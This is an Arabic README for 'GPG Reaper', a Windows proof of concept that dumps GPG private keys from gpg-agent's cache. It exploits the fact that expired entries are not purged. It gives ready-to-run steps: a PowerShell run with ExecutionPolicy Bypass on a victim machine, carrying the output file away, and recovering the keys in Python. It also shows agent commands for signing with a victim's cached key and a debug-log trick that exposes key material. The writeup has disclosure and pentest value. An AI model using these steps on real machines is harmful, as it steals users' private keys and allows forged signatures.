
GPG Reaper - الحصول/سرقة/استعادة مفاتيح GPG الخاصة من ذاكرة التخزين المؤقت/الذاكرة لـ gpg-agent
TL;DR: الحصول/سرقة/استعادة المفاتيح الخاصة لـ GPG من ذاكرة التخزين المؤقت/ذاكرة gpg-agent
يُظهر هذا البرهان على المفهوم طريقة للحصول على المفاتيح الخاصة لـ GPG من ذاكرة gpg-agent تحت ويندوز.
عادةً يجب أن يكون هذا ممكنًا فقط في غضون 10 دقائق (قيمة --default-cache-ttl).
للأسف، يتم تنفيذ الدالة housekeeping() (المسؤولة عن تنظيف ذاكرة التخزين المؤقت) فقط إذا كنت تستخدم GPG (لا يوجد مؤقت زمني هناك).
هذا يعني أنه في حالة استخدام GPG العادية مثل: تقوم بتوقيع ملف ثم تغلق الواجهة الرسومية وتقوم بمهمة أخرى، فإن كلمة المرور الخاصة بك لا تزال موجودة في ذاكرة gpg-agent (حتى لو انتهت صلاحية ttl).
يمكن للمهاجم، الذي لديه وصول إلى جلستك الحالية، استخدام هذا لسرقة المفتاح الخاص دون معرفة عبارة المرور الخاصة بك.
ملاحظة: سيغير GPG آلية التخزين المؤقت في الإصدار 2.2.6. راجع الالتزام والمشكلة.

pip install PGPy
إذا ظهرت لك رسالة:
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` عند تشغيل سكريبت بايثون، فقم بـ:
ثم:
pip install six==1.10.0
1. قم بتثبيت Gpg4Win 3.0.3
2. افتح سطر الأوامر وابدأ الوكيل بزمن تخزين مؤقت قدره 2 ثانية:
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2
3. قم بتشغيل Kleopatra وأنشئ زوج مفاتيح جديد

4. قم بتوقيع ملف اختبار عادي

5. ستظهر نافذة Pinentry وتطلب منك عبارة المرور

6. كرر الخطوتين 4-5. في كل مرة تظهر Pinentry لأن ذاكرة التخزين المؤقت لمدة 2 ثانية قد انتهت صلاحيتها
7. قم بتشغيل GPG reaper
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt
سترى شيئًا مثل:
[+] تم الكشف عن إصدار GPG 3.0.3
[*] تمت قراءة بايتات jmp: F6-05-E0-F9-45-00-04-0F-85
[*] تمت قراءة بايتات housekeeping: 55
[+] تم العثور على المفتاح السري
[+] التحقق من قابض المفتاح:
[*] uid [ultimate] Adam Nowak <[email protected]>
[+] تم العثور على المفتاح العام
[*] تم تخصيص الذاكرة في: 2d00000
[+] تمت قراءة سجل التصحيح C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] تم تفريغ المفتاح
[*] إنهاء المهمة الخلفية
[*] استعادة البايتات
كما ترى، قمنا بتفريغ المفتاح. هذا ممكن لأننا قمنا بتعطيل دالة housekeeping.
8. استعادة المفتاح الخاص:
python gpg_reaper.py .\testme.txt
يتم تفريغ المفتاح الخاص إلى الملف:
[+] تفريغ E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>
GPG-Agent هو خفيِّة لإدارة المفاتيح الخاصة بشكل مستقل عن أي بروتوكول.
تتواصل واجهة المستخدم الرسومية مع الوكيل باستخدام بروتوكول Assuan.
بشكل افتراضي، يقوم الوكيل بتخزين بيانات اعتمادك مؤقتًا.
يقوم الخيار --default-cache-ttl n بتعيين الوقت الذي يكون فيه إدخال التخزين المؤقت صالحًا إلى n ثانية.
القيمة الافتراضية هي 600 ثانية. في كل مرة يتم الوصول إلى إدخال التخزين المؤقت، يتم إعادة ضبط الموقت الخاص به.
تحت ويندوز، تبدو عملية التوقيع هكذا:

الجزء الحاسم هنا هو دالة housekeeping() المسؤولة عن إزالة بيانات الاعتماد منتهية الصلاحية من الذاكرة.
ولكن هناك مشكلة واحدة هنا: يتم تنفيذ هذه الدالة فقط في مكانين (داخل agent_put_cache و agent_get_cache).
هذا يعني أن بيانات الاعتماد المخزنة مؤقتًا لا تتم إزالتها من الذاكرة حتى يتم تنفيذ بعض أوامر gpg-agent التي تستخدم agent_put_cache أو agent_get_cache أو agent_flush_cache.
على جهاز الضحية:
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt
قم بنقل out.txt إلى جهازك واستعادة المفاتيح الخاصة:
gpg_reaper.py out.txt
سيتم تفريغ المفاتيح الخاصة في ملفات منفصلة.
إذا تم تثبيت GPG خارج الأدلة الافتراضية:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
إذا كنت لا تريد رسائل التصحيح:
Gpg-Reaper -Verbose $false
لنفترض أنك تقوم باختبار الاختراق وتحصل على شل على جهاز مثبت عليه GPG.
إذا كنت محظوظًا وكان المستخدم قد استخدم GPG مؤخرًا ولم تنته صلاحية ذاكرة التخزين المؤقت، يمكنك:
1. توقيع ملف:
قم بتشغيل c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
2. تصدير المفتاح الخاص:
قم بتشغيل c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYWRAP_KEY --export
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
للأسف، هذا لا يعمل كما هو متوقع ويطلب كلمة المرور.
لماذا؟ لأن دالة cmd_export_key() تقوم بتنفيذ agent_key_from_file() مع علامة CACHE_MODE_IGNORE مما يعني أن ذاكرة التخزين المؤقت لن تُستخدم ويُطلب من المستخدم إدخال عبارة المرور في كل مرة.
نحن نعلم أنه غير ممكن تصدير مفتاح GPG عبر gpg-agent دون معرفة كلمة المرور.
ولكن هناك حيلة صغيرة هنا. يحتوي الوكيل على عدد قليل من الخيارات المتاحة:
1. --debug-level
اختر مستوى التصحيح للتحقيق في المشكلات. يمكن أن يكون المستوى قيمة رقمية أو كلمة رئيسية:
guru - جميع رسائل التصحيح التي يمكنك الحصول عليها.
2. --log-file file
ألحق كل مخرجات التسجيل إلى ملف. هذا مفيد جدًا لرؤية ما يفعله الوكيل بالفعل.
لنقم بتشغيل الوكيل باستخدام gpg-agent.exe --daemon --debug-level guru --log-file out.txt وتوقيع ملف.